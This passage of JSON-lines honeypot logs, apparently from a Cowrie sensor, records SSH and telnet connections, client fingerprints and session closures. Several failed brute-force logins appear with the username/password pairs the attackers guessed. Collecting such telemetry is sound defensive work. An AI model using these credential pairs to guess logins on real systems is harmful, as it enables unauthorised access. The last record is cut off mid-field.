{"eventid":"cowrie.session.connect","src_ip":"181.189.73.151","src_port":62244,"dst_ip":"10.17.0.5","dst_port":23,"session":"88608468d974","protocol":"telnet","message":"New connection: 181.189.73.151:62244 (10.17.0.5:23) [session: 88608468d974]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:10:38.539221Z"}
{"eventid":"cowrie.session.closed","duration":56.53642463684082,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:10:40.827219Z","src_ip":"38.54.119.93","session":"6f4630d06c0d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.70748782157898,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:11:01.548989Z","src_ip":"38.54.119.93","session":"c70ef71b1497","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.162.42","src_port":39562,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5f4e9f359ec","protocol":"ssh","message":"New connection: 152.32.162.42:39562 (10.17.0.5:22) [session: e5f4e9f359ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:11:06.664090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:11:06.671730Z","src_ip":"152.32.162.42","session":"e5f4e9f359ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:11:06.915397Z","src_ip":"152.32.162.42","session":"e5f4e9f359ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"upload123","message":"login attempt [ubuntu/upload123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:11:07.907682Z","src_ip":"152.32.162.42","session":"e5f4e9f359ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.85.247.230","src_port":60910,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f970ed9cf45","protocol":"ssh","message":"New connection: 177.85.247.230:60910 (10.17.0.5:22) [session: 0f970ed9cf45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:11:08.069244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:11:08.073421Z","src_ip":"177.85.247.230","session":"0f970ed9cf45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:11:08.174842Z","src_ip":"177.85.247.230","session":"0f970ed9cf45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz@WSX3edc","message":"login attempt [ubuntu/1qaz@WSX3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:11:08.613701Z","src_ip":"177.85.247.230","session":"0f970ed9cf45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:11:09.151077Z","src_ip":"152.32.162.42","session":"e5f4e9f359ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:11:09.718946Z","src_ip":"177.85.247.230","session":"0f970ed9cf45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.199.224.2","src_port":42706,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a6a915cdf48","protocol":"ssh","message":"New connection: 60.199.224.2:42706 (159.203.135.109:22) [session: 9a6a915cdf48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:11:15.714975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:11:15.719573Z","src_ip":"60.199.224.2","session":"9a6a915cdf48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:11:15.922388Z","src_ip":"60.199.224.2","session":"9a6a915cdf48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"qwerty123","message":"login attempt [username/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:11:16.749974Z","src_ip":"60.199.224.2","session":"9a6a915cdf48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:11:17.951656Z","src_ip":"60.199.224.2","session":"9a6a915cdf48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":45856,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b0179731d17","protocol":"telnet","message":"New connection: 165.232.131.181:45856 (10.17.0.5:23) [session: 4b0179731d17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:11:24.269892Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":46934,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4d21512796f","protocol":"telnet","message":"New connection: 165.232.131.181:46934 (10.17.0.5:23) [session: b4d21512796f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:11:27.809380Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":46028,"dst_ip":"10.17.0.5","dst_port":23,"session":"150dee2d0686","protocol":"telnet","message":"New connection: 165.232.131.181:46028 (10.17.0.5:23) [session: 150dee2d0686]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:11:27.820205Z"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.127.97","src_port":37950,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb7cb64c7fbf","protocol":"ssh","message":"New connection: 14.103.127.97:37950 (10.17.0.5:22) [session: eb7cb64c7fbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:11:36.992122Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":49194,"dst_ip":"10.17.0.5","dst_port":23,"session":"54f688980112","protocol":"telnet","message":"New connection: 165.232.131.181:49194 (10.17.0.5:23) [session: 54f688980112]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:11:37.682010Z"}
{"eventid":"cowrie.session.closed","duration":2.8477728366851807,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:11:40.529647Z","src_ip":"165.232.131.181","session":"54f688980112","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":47556,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9470d041281","protocol":"telnet","message":"New connection: 192.211.53.160:47556 (159.203.135.109:23) [session: f9470d041281]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:11:45.722577Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":47554,"dst_ip":"159.203.135.109","dst_port":23,"session":"0113a47a37cb","protocol":"telnet","message":"New connection: 192.211.53.160:47554 (159.203.135.109:23) [session: 0113a47a37cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:11:45.730957Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.162.42","src_port":46588,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6d04bfbd4a6","protocol":"ssh","message":"New connection: 152.32.162.42:46588 (10.17.0.5:22) [session: e6d04bfbd4a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:11:51.447008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:11:51.451483Z","src_ip":"152.32.162.42","session":"e6d04bfbd4a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:11:51.705955Z","src_ip":"152.32.162.42","session":"e6d04bfbd4a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"roottest","message":"login attempt [root/roottest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:11:52.756199Z","src_ip":"152.32.162.42","session":"e6d04bfbd4a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:11:54.013594Z","src_ip":"152.32.162.42","session":"e6d04bfbd4a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":50578,"dst_ip":"159.203.135.109","dst_port":23,"session":"3604396a07cc","protocol":"telnet","message":"New connection: 192.211.53.160:50578 (159.203.135.109:23) [session: 3604396a07cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:11:56.809954Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":47590,"dst_ip":"10.17.0.5","dst_port":23,"session":"87559e4ffd9b","protocol":"telnet","message":"New connection: 62.210.97.77:47590 (10.17.0.5:23) [session: 87559e4ffd9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:12:03.379190Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.169.209.69","src_port":18871,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe01b21fa2bd","protocol":"telnet","message":"New connection: 45.169.209.69:18871 (159.203.135.109:23) [session: fe01b21fa2bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:12:05.294981Z"}
{"eventid":"cowrie.session.connect","src_ip":"177.85.247.230","src_port":1364,"dst_ip":"10.17.0.5","dst_port":22,"session":"df4d12cd257d","protocol":"ssh","message":"New connection: 177.85.247.230:1364 (10.17.0.5:22) [session: df4d12cd257d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:12:05.462690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:12:05.471590Z","src_ip":"177.85.247.230","session":"df4d12cd257d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:12:05.569841Z","src_ip":"177.85.247.230","session":"df4d12cd257d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":30097,"dst_ip":"10.17.0.5","dst_port":22,"session":"87c736a96661","protocol":"ssh","message":"New connection: 193.46.255.86:30097 (10.17.0.5:22) [session: 87c736a96661]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:12:05.848657Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:12:05.853626Z","src_ip":"193.46.255.86","session":"87c736a96661","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwertys","message":"login attempt [ubuntu/qwertys] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:12:05.967128Z","src_ip":"177.85.247.230","session":"df4d12cd257d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:12:05.994005Z","src_ip":"193.46.255.86","session":"87c736a96661","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"","password":"","message":"login attempt [/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:12:06.627731Z","src_ip":"193.46.255.86","session":"87c736a96661","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.115.234","src_port":54708,"dst_ip":"10.17.0.5","dst_port":22,"session":"8de2dc04cc01","protocol":"ssh","message":"New connection: 14.103.115.234:54708 (10.17.0.5:22) [session: 8de2dc04cc01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:12:07.015201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:12:07.019667Z","src_ip":"14.103.115.234","session":"8de2dc04cc01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:12:07.070566Z","src_ip":"177.85.247.230","session":"df4d12cd257d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:12:07.771976Z","src_ip":"193.46.255.86","session":"87c736a96661","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.89696526527405,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:12:11.166764Z","src_ip":"165.232.131.181","session":"4b0179731d17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"60.199.224.2","src_port":42710,"dst_ip":"159.203.135.109","dst_port":22,"session":"13d3c96289e9","protocol":"ssh","message":"New connection: 60.199.224.2:42710 (159.203.135.109:22) [session: 13d3c96289e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:12:12.140773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:12:12.144876Z","src_ip":"60.199.224.2","session":"13d3c96289e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 